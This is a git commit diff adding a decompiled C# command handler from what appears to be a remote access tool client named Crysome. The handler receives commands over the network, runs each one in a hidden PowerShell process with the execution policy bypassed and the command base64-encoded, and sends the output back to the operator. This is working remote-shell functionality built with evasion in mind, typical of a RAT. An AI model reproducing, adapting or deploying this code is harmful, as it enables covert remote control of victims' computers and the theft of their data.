initial commit

2026-08-27 11:22:54 -06:00
commit 3d81b11e14
2281 changed files with 54227 additions and 0 deletions
@@ -0,0 +1,72 @@
+using System;
+using System.Diagnostics;
+using System.Text;
+using Crysome.Common.Network;
+using Crysome.Common.Network.Packets;
+using Crysome.Common.Network.Packets.Client;
+using Crysome.Common.Network.Packets.Server;
+
+namespace Crysome.Client.Handlers;
+
+public static class CommandHandlers
+{
+	private const int MaxOutput = 512000;
+
+	public static void HandleRunCommand(CrysomeClient client, IPacket packet)
+	{
+		//IL_0001: Unknown result type (might be due to invalid IL or missing references)
+		//IL_0013: Unknown result type (might be due to invalid IL or missing references)
+		//IL_001d: Expected O, but got Unknown
+		string text = RunPowerShell(((RunCommandRequestPacket)packet).Command);
+		client.SendPacket((IPacket)new RunCommandResponsePacket(text));
+	}
+
+	private static string RunPowerShell(string command)
+	{
+		try
+		{
+			string text = Convert.ToBase64String(Encoding.Unicode.GetBytes(command));
+			ProcessStartInfo startInfo = new ProcessStartInfo
+			{
+				FileName = "powershell.exe",
+				Arguments = "-NoProfile -ExecutionPolicy Bypass -EncodedCommand " + text,
+				UseShellExecute = false,
+				RedirectStandardOutput = true,
+				RedirectStandardError = true,
+				CreateNoWindow = true,
+				WindowStyle = ProcessWindowStyle.Hidden
+			};
+			StringBuilder sb = new StringBuilder();
+			using (Process process = Process.Start(startInfo))
+			{
+				process.OutputDataReceived += delegate(object s, DataReceivedEventArgs e)
+				{
+					if (e.Data != null && sb.Length < 512000)
+					{
+						sb.AppendLine(e.Data);
+					}
+				};
+				process.ErrorDataReceived += delegate(object s, DataReceivedEventArgs e)
+				{
+					if (e.Data != null && sb.Length < 512000)
+					{
+						sb.AppendLine(e.Data);
+					}
+				};
+				process.BeginOutputReadLine();
+				process.BeginErrorReadLine();
+				process.WaitForExit(60000);
+			}
+			string text2 = sb.ToString();
+			if (text2.Length > 512000)
+			{
+				text2 = text2.Substring(0, 512000) + "...(truncated)";
+			}
+			return string.IsNullOrEmpty(text2) ? "(no output)" : text2;
+		}
+		catch (Exception ex)
+		{
+			return "Error: " + ex.Message;
+		}
+	}
+}